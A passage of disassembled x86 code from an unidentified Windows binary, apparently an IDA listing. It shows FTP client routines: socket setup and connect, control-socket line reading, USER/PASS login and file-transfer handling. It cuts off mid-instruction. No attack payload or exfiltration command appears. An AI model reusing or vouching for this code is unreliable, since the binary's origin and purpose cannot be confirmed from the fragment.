mov ecx, 5 lea esi, [esp+0B0h+var_74] lea edi, [esp+0B0h+var_28] mov [esp+0B0h+var_64], ax push 28h push edx rep movsd mov [esp+0B8h+var_14], 0 call sub_401942 mov edx, [esp+0B8h+var_90] add esp, 10h mov word ptr [esp+0A8h+var_80+2], ax mov ecx, 5 lea esi, [esp+0A8h+var_88] lea edi, [esp+0A8h+var_3C] lea eax, [esp+0A8h+var_4C] push 10h rep movsd push eax push 0 lea ecx, [esp+0B4h+var_3C] push 28h push ecx push edx call ds:dword_4B3C84 cmp eax, 0FFFFFFFFh jz loc_42755A call ds:dword_4B38D0 mov edx, [esp+0A8h+var_60] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0A8h+arg_C] shr edx, 6 cmp edx, eax ja short loc_4277B7 mov al, byte ptr [esp+0A8h+var_98+3] test al, al jz short loc_427759 push 2710h push 3E8h call sub_402018 add esp, 8 mov [esp+0A8h+arg_8], eax loc_427759: ; CODE XREF: sub_427480+2BEj push 0FFh push 0 call sub_402018 push 0FFh push 0 mov byte ptr [esp+0B8h+var_94], al call sub_402018 push 0FFh push 0 mov byte ptr [esp+0C0h+var_94+1], al call sub_402018 push 0FFh push 0 mov byte ptr [esp+0C8h+var_94+2], al call sub_402018 mov edx, [esp+0C8h+arg_10] add esp, 20h mov byte ptr [esp+0A8h+var_94+3], al push edx call ds:dword_4B38CC mov al, ds:byte_488B6A test al, al jnz loc_427603 loc_4277B7: ; CODE XREF: sub_427480+2B6j mov edi, [esp+0A8h+var_90] loc_4277BB: ; CODE XREF: sub_427480+16Bj push edi call ds:dword_4B3CA8 mov eax, [esp+0A8h+var_8C] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn sub_427480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4278C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push esi push eax call sub_4017C1 mov esi, eax call ds:dword_4B3A9C and eax, 800001FFh jns short loc_4278E1 dec eax or eax, 0FFFFFE00h inc eax loc_4278E1: ; CODE XREF: sub_4278C0+18j mov ecx, [esp+8+arg_C] mov edx, [esp+8+arg_8] push ecx mov ecx, [esp+0Ch+arg_4] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401AB9 add esp, 18h pop esi retn sub_4278C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427930 proc near ; CODE XREF: sub_401CD5j var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call sub_430A38 test eax, eax jz short loc_427962 mov ecx, ds:dword_4B3A68 push eax add ecx, 40h push offset aNetworkFailedT ; "Network failed to start: %d\n" push ecx call ds:dword_4B3A6C add esp, 0Ch loc_427962: ; CODE XREF: sub_427930+17j add esp, 190h retn sub_427930 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_427980: ; CODE XREF: _294ADE7B:00401C53j mov eax, [esp+4] test eax, eax jz short loc_427993 mov ecx, [eax+18h] test ecx, ecx jnz short loc_427993 add eax, 44h retn ; --------------------------------------------------------------------------- loc_427993: ; CODE XREF: _294ADE7B:00427986j ; _294ADE7B:0042798Dj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279B0 proc near ; CODE XREF: sub_401988j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 14h mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ebx push ebp mov [esp+1Ch+var_C], eax push esi push edi mov [esp+24h+var_8], eax push ecx mov [esp+28h+var_14], 1 mov [esp+28h+var_4], eax mov word ptr [esp+28h+var_10], 2 call ds:dword_4B3B00 mov ebp, eax push 3Ah push ebp call ds:dword_4B3AC4 mov esi, eax xor ebx, ebx add esp, 0Ch cmp esi, ebx jnz short loc_427A24 push offset aTcp ; "tcp" push offset aFtp ; "ftp" call sub_430AA4 cmp eax, ebx jnz short loc_427A78 push offset aGetservbyname ; "getservbyname" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427A24: ; CODE XREF: sub_4279B0+47j mov [esi], bl mov eax, ds:dword_4B3A5C inc esi cmp dword ptr [eax], 1 jle short loc_427A42 movsx ecx, byte ptr [esi] push 4 push ecx call ds:dword_4B3B04 add esp, 8 jmp short loc_427A52 ; --------------------------------------------------------------------------- loc_427A42: ; CODE XREF: sub_4279B0+7Fj mov eax, ds:dword_4B3AF8 movsx edx, byte ptr [esi] mov ecx, [eax] mov al, [ecx+edx*2] and eax, 4 loc_427A52: ; CODE XREF: sub_4279B0+90j cmp eax, ebx jz short loc_427A6D push esi call ds:dword_4B3AEC add esp, 4 push eax call sub_430A1A mov word ptr [esp+24h+var_10+2], ax jmp short loc_427A81 ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279B0+A4j push offset aTcp ; "tcp" push esi call sub_430AA4 loc_427A78: ; CODE XREF: sub_4279B0+5Aj mov dx, [eax+8] mov word ptr [esp+24h+var_10+2], dx loc_427A81: ; CODE XREF: sub_4279B0+BBj push ebp call sub_430A08 cmp eax, 0FFFFFFFFh mov [esp+24h+var_C], eax jnz short loc_427ACD push ebp call sub_4309FC cmp eax, ebx jnz short loc_427AB2 push offset aGethostbyname ; "gethostbyname" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427AB2: ; CODE XREF: sub_4279B0+E8j movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] mov edx, ecx lea edi, [esp+24h+var_C] mov esi, [eax] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_427ACD: ; CODE XREF: sub_4279B0+DEj push ebp mov ebp, ds:dword_4B3AAC call ebp add esp, 4 push 6 push 1 push 2 call sub_430A20 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_427B03 push offset aSocket ; "socket" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427B03: ; CODE XREF: sub_4279B0+139j lea eax, [esp+24h+var_14] push 4 push eax push 4 push 0FFFFh push edi call sub_430A98 cmp eax, 0FFFFFFFFh jnz short loc_427B23 push offset aSetsockopt ; "setsockopt" jmp short loc_427B57 ; --------------------------------------------------------------------------- loc_427B23: ; CODE XREF: sub_4279B0+16Aj lea ecx, [esp+24h+var_10] push 10h push ecx push edi call sub_430A14 cmp eax, 0FFFFFFFFh jnz short loc_427B3C push offset aConnect ; "connect" jmp short loc_427B57 ; --------------------------------------------------------------------------- loc_427B3C: ; CODE XREF: sub_4279B0+183j push 144h push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 cmp esi, ebx jnz short loc_427B70 push offset aCalloc ; "calloc" loc_427B57: ; CODE XREF: sub_4279B0+171j ; sub_4279B0+18Aj call ds:dword_4B3A58 add esp, 4 push edi call sub_430A26 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427B70: ; CODE XREF: sub_4279B0+1A0j push 2000h call ds:dword_4B3AB0 add esp, 4 cmp eax, ebx mov [esi+14h], eax jnz short loc_427BA9 push offset aCalloc ; "calloc" call ds:dword_4B3A58 add esp, 4 push edi call sub_430A26 push esi call ebp add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427BA9: ; CODE XREF: sub_4279B0+1D3j push esi push 32h mov [esi+8], edi mov [esi+18h], ebx mov [esi+1Ch], ebx mov dword ptr [esi+24h], 1 mov [esi+30h], ebx mov [esi+2Ch], ebx mov [esi+28h], ebx mov [esi+34h], ebx mov [esi+38h], ebx mov [esi+40h], ebx mov [esi+3Ch], ebx call sub_427CB0 add esp, 8 test eax, eax jnz short loc_427BF9 push edi call sub_430A26 mov edx, [esi+14h] push edx call ebp push esi call ebp add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_427BF9: ; CODE XREF: sub_4279B0+22Bj mov eax, [esp+24h+arg_4] pop edi mov [eax], esi pop esi pop ebp mov eax, 1 pop ebx add esp, 14h retn sub_4279B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427CB0 proc near ; CODE XREF: sub_4279B0+221p ; sub_428340+C6p ... var_8 = byte ptr -8 var_5 = byte ptr -5 var_4 = byte ptr -4 arg_0 = byte ptr 4 arg_4 = dword ptr 8 sub esp, 8 push ebx push ebp push esi push edi mov edi, [esp+18h+arg_4] push edi push 100h lea esi, [edi+44h] push esi call sub_427DF0 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_427CEA loc_427CD2: ; CODE XREF: sub_427CB0+8Ej ; sub_427CB0+D9j push offset aControlSocketR ; "Control socket read failed" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427CEA: ; CODE XREF: sub_427CB0+20j mov eax, ds:dword_4B26D4 mov ebx, ds:dword_4B3A6C cmp eax, 1 jle short loc_427D0E mov eax, ds:dword_4B3A68 push esi add eax, 40h push offset dword_43B5F0 push eax call ebx add esp, 0Ch loc_427D0E: ; CODE XREF: sub_427CB0+48j cmp byte ptr [edi+47h], 2Dh jnz short loc_427D8E push 3 lea ecx, [esp+1Ch+var_8] push esi push ecx call ds:dword_4B3AE0 push edi push 100h push esi mov [esp+30h+var_5], 20h mov [esp+30h+var_4], 0 call sub_427DF0 add esp, 18h cmp eax, 0FFFFFFFFh jz short loc_427CD2 mov ebp, ds:dword_4B3ABC loc_427D46: ; CODE XREF: sub_427CB0+D7j cmp ds:dword_4B26D4, 1 jle short loc_427D64 mov edx, ds:dword_4B3A68 push esi add edx, 40h push offset dword_43B5F0 push edx call ebx add esp, 0Ch loc_427D64: ; CODE XREF: sub_427CB0+9Dj lea eax, [esp+18h+var_8] push 4 push eax push esi call ebp add esp, 0Ch test eax, eax jz short loc_427D8E push edi push 100h push esi call sub_427DF0 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_427D46 jmp loc_427CD2 ; --------------------------------------------------------------------------- loc_427D8E: ; CODE XREF: sub_427CB0+62j ; sub_427CB0+C3j mov cl, [esi] mov dl, [esp+18h+arg_0] xor eax, eax pop edi cmp cl, dl pop esi pop ebp pop ebx setz al add esp, 8 retn sub_427CB0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DF0 proc near ; CODE XREF: sub_427CB0+15p ; sub_427CB0+83p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 8 push ebx push ebp mov ebp, [esp+10h+arg_0] push esi mov esi, [esp+14h+arg_8] xor ecx, ecx push edi mov [esp+18h+var_8], ecx mov eax, [esi+18h] mov [esp+18h+var_4], ecx cmp eax, ecx jz short loc_427E20 cmp eax, 1 jz short loc_427E20 pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427E20: ; CODE XREF: sub_427DF0+1Ej ; sub_427DF0+23j mov ebx, [esp+18h+arg_4] cmp ebx, ecx jnz short loc_427E32 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427E32: ; CODE XREF: sub_427DF0+36j ; sub_427DF0+115j mov edi, [esi+0Ch] test edi, edi jle short loc_427E83 cmp ebx, edi jge short loc_427E40 lea edi, [ebx-1] loc_427E40: ; CODE XREF: sub_427DF0+4Bj mov eax, [esi+4] push edi push 0Ah push eax push ebp call ds:dword_4B3A04 add esp, 10h test eax, eax jz short loc_427E59 mov edi, eax sub edi, ebp loc_427E59: ; CODE XREF: sub_427DF0+63j mov edx, [esp+18h+var_8] add ebp, edi add edx, edi sub ebx, edi mov [esp+18h+var_8], edx mov byte ptr [ebp+0], 0 mov ecx, [esi+4] mov edx, [esi+0Ch] add ecx, edi sub edx, edi test eax, eax mov [esi+4], ecx mov [esi+0Ch], edx jnz loc_427F0A loc_427E83: ; CODE XREF: sub_427DF0+47j cmp ebx, 1 jz loc_427F5D mov ecx, [esi] mov eax, [esi+4] cmp ecx, eax jnz short loc_427EAB mov eax, [esi+14h] mov dword ptr [esi+0Ch], 0 mov [esi+4], eax mov [esi], eax mov dword ptr [esi+10h], 2000h loc_427EAB: ; CODE XREF: sub_427DF0+A3j mov eax, [esp+18h+var_4] test eax, eax jnz loc_427F70 push esi call sub_428020 add esp, 4 test eax, eax jz loc_427FA2 mov edx, [esi+10h] mov eax, [esi] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_430A6E cmp eax, 0FFFFFFFFh jz loc_427F8C test eax, eax jnz short loc_427EEF mov [esp+18h+var_4], 1 loc_427EEF: ; CODE XREF: sub_427DF0+F5j mov edi, [esi+10h] mov edx, [esi+0Ch] mov ecx, [esi] sub edi, eax add edx, eax add ecx, eax mov [esi+10h], edi mov [esi+0Ch], edx mov [esi], ecx jmp loc_427E32 ; --------------------------------------------------------------------------- loc_427F0A: ; CODE XREF: sub_427DF0+8Dj sub ebp, 2 mov esi, offset asc_43F760 ; "\r\n" mov eax, ebp loc_427F14: ; CODE XREF: sub_427DF0+146j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_427F3C test cl, cl jz short loc_427F38 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_427F3C add eax, 2 add esi, 2 test cl, cl jnz short loc_427F14 loc_427F38: ; CODE XREF: sub_427DF0+130j xor eax, eax jmp short loc_427F41 ; --------------------------------------------------------------------------- loc_427F3C: ; CODE XREF: sub_427DF0+12Cj ; sub_427DF0+13Cj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427F41: ; CODE XREF: sub_427DF0+14Aj test eax, eax jnz short loc_427FA2 mov byte ptr [ebp+0], 0Ah mov [ebp+1], al mov eax, [esp+18h+var_8] pop edi dec eax pop esi pop ebp mov [esp+0Ch+var_8], eax pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427F5D: ; CODE XREF: sub_427DF0+96j mov eax, [esp+18h+arg_0] pop edi pop esi pop ebp mov byte ptr [eax], 0 mov eax, [esp+0Ch+var_8] pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427F70: ; CODE XREF: sub_427DF0+C1j mov eax, [esp+18h+var_8] test eax, eax jnz short loc_427FA2 pop edi mov [esp+14h+var_8], 0FFFFFFFFh mov eax, [esp+14h+var_8] pop esi pop ebp pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_427F8C: ; CODE XREF: sub_427DF0+EDj push offset aRead ; "read" call ds:dword_4B3A58 add esp, 4 mov [esp+18h+var_8], 0FFFFFFFFh loc_427FA2: ; CODE XREF: sub_427DF0+D2j ; sub_427DF0+153j ... mov eax, [esp+18h+var_8] pop edi pop esi pop ebp pop ebx add esp, 8 retn sub_427DF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428020 proc near ; CODE XREF: sub_427DF0+C8p ; sub_428E10:loc_428E3Dp ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 10Ch push ebx push ebp push esi mov esi, [esp+118h+arg_0] xor ebx, ebx xor ebp, ebp mov eax, [esi+18h] test eax, eax jz loc_428103 mov ecx, [esi+30h] test ecx, ecx jz loc_428103 cmp eax, 2 jnz short loc_428055 lea ebp, [esp+118h+var_104] jmp short loc_428059 ; --------------------------------------------------------------------------- loc_428055: ; CODE XREF: sub_428020+2Dj lea ebx, [esp+118h+var_104] loc_428059: ; CODE XREF: sub_428020+33j xor eax, eax push edi mov [esp+11Ch+var_104], eax loc_428060: ; CODE XREF: sub_428020+98j cmp eax, 40h jnb short loc_428075 mov ecx, [esi+8] mov [esp+eax*4+11Ch+var_100], ecx mov eax, [esp+11Ch+var_104] inc eax mov [esp+11Ch+var_104], eax loc_428075: ; CODE XREF: sub_428020+43j mov edx, [esi+28h] mov eax, [esi+2Ch] lea ecx, [esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_430A56 cmp eax, 0FFFFFFFFh jz short loc_4280BA test eax, eax jg short loc_4280F1 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_4280F6 mov eax, [esp+11Ch+var_104] jmp short loc_428060 ; --------------------------------------------------------------------------- loc_4280BA: ; CODE XREF: sub_428020+79j push 100h xor edi, edi call ds:dword_4B3A50 mov edx, [eax] push edx call ds:dword_4B3A54 add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call ds:dword_4B3AE0 add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_4280F1: ; CODE XREF: sub_428020+7Dj mov edi, 1 loc_4280F6: ; CODE XREF: sub_428020+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_428103: ; CODE XREF: sub_428020+19j ; sub_428020+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_428020 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_428160: ; CODE XREF: _294ADE7B:004013BBj mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42820F ; default jmp off_428214[eax*4] ; switch jump loc_428177: ; DATA XREF: _294ADE7B:off_428214o mov eax, [esp+8] ; jumptable 00428170 case 0 cmp eax, 1 jz short loc_428189 cmp eax, 2 jnz loc_42820F ; default loc_428189: ; CODE XREF: _294ADE7B:0042817Ej mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_428198: ; CODE XREF: _294ADE7B:00428170j ; DATA XREF: _294ADE7B:off_428214o mov edx, [esp+0Ch] ; jumptable 00428170 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4281AB: ; CODE XREF: _294ADE7B:00428170j ; DATA XREF: _294ADE7B:off_428214o push esi ; jumptable 00428170 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4281EC: ; CODE XREF: _294ADE7B:00428170j ; DATA XREF: _294ADE7B:off_428214o mov eax, [esp+0Ch] ; jumptable 00428170 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4281FF: ; CODE XREF: _294ADE7B:00428170j ; DATA XREF: _294ADE7B:off_428214o mov eax, [esp+0Ch] ; jumptable 00428170 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42820F: ; CODE XREF: _294ADE7B:0042816Aj ; _294ADE7B:00428183j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_428214 dd offset loc_428177 ; DATA XREF: _294ADE7B:00428170r dd offset loc_428198 ; jump table for switch statement dd offset loc_4281AB dd offset loc_4281EC dd offset loc_4281FF db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428270 proc near ; CODE XREF: sub_4020A4j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_428301 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_428301 mov edi, ds:dword_4B3A4C push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_428340 add esp, 18h test eax, eax jnz short loc_4282DD mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_4282DD: ; CODE XREF: sub_428270+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_428340 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_428301: ; CODE XREF: sub_428270+1Bj ; sub_428270+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_428270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428340 proc near ; CODE XREF: sub_428270+51p ; sub_428270+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_428363 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_428363: ; CODE XREF: sub_428340+15j mov eax, ds:dword_4B26D4 mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42838C mov eax, ds:dword_4B3A68 push esi add eax, 40h push offset aS ; "%s\n" push eax call ds:dword_4B3A6C add esp, 0Ch loc_42838C: ; CODE XREF: sub_428340+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_4283AC pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_4283AC: ; CODE XREF: sub_428340+60j push esi lea ecx, [esp+110h+var_100] push offset dword_43BBBC push ecx call ds:dword_4B3A4C lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_430A2C test eax, eax jg short loc_4283FD push offset aWrite ; "write" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_4283FD: ; CODE XREF: sub_428340+A1j mov ecx, [esp+10Ch+arg_4] push ebx push ecx call sub_427CB0 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn sub_428340 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428460 proc near ; CODE XREF: sub_401E0Bj var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_4284AC cmp edi, 4 jz short loc_428486 cmp edi, 3 jnz short loc_4284AC loc_428486: ; CODE XREF: sub_428460+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax call ds:dword_4B3A4C add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_4284AC: ; CODE XREF: sub_428460+1Aj ; sub_428460+24j mov ecx, [esp+110h+arg_8] mov ebp, ds:dword_4B3A4C push ecx lea edx, [esp+114h+var_100] push offset dword_43F7C4 push edx call ebp mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_428340 add esp, 18h test eax, eax jz loc_42866E lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42865F ; default jmp off_42867C[eax*4] ; switch jump loc_4284F8: ; DATA XREF: _294ADE7B:off_42867Co mov ecx, ds:dword_43F7BC ; jumptable 004284F1 case 1 mov dl, ds:byte_43F7C0 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_428560 ; --------------------------------------------------------------------------- loc_428513: ; CODE XREF: sub_428460+91j ; DATA XREF: _294ADE7B:off_42867Co mov eax, ds:dword_43F7B4 ; jumptable 004284F1 case 2 mov cl, ds:byte_43F7B8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_428560 ; --------------------------------------------------------------------------- loc_42852D: ; CODE XREF: sub_428460+91j ; DATA XREF: _294ADE7B:off_42867Co mov edx, ds:dword_43F7AC ; jumptable 004284F1 case 3 mov al, ds:byte_43F7B0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_428560 ; --------------------------------------------------------------------------- loc_428547: ; CODE XREF: sub_428460+91j ; DATA XREF: _294ADE7B:off_42867Co mov ecx, ds:dword_43F7A4 ; jumptable 004284F1 case 4 mov dl, ds:byte_43F7A8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_428560: ; CODE XREF: sub_428460+B1j ; sub_428460+CBj ... test esi, esi jz short loc_4285B3 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42866E mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4285B3: ; CODE XREF: sub_428460+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_428720 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42866E push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_428340 add esp, 0Ch test eax, eax jnz short loc_428608 mov eax, [esi] push eax call sub_401ADC add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_428608: ; CODE XREF: sub_428460+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42864F mov eax, [esi] push ebx push eax call sub_428C00 add esp, 8 test eax, eax jnz short loc_42864F mov ecx, [esi] push ecx call sub_401ADC add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42864F: ; CODE XREF: sub_428460+1B8j ; sub_428460+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42865F: ; CODE XREF: sub_428460+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp add esp, 0Ch loc_42866E: ; CODE XREF: sub_428460+7Fj ; sub_428460+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_428460 endp ; --------------------------------------------------------------------------- align 4 off_42867C dd offset loc_4284F8 ; DATA XREF: sub_428460+91r dd offset loc_428513 ; jump table for switch statement dd offset loc_42852D dd offset loc_428547 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428720 proc near ; CODE XREF: sub_428460+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_428A44 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_428782 cmp 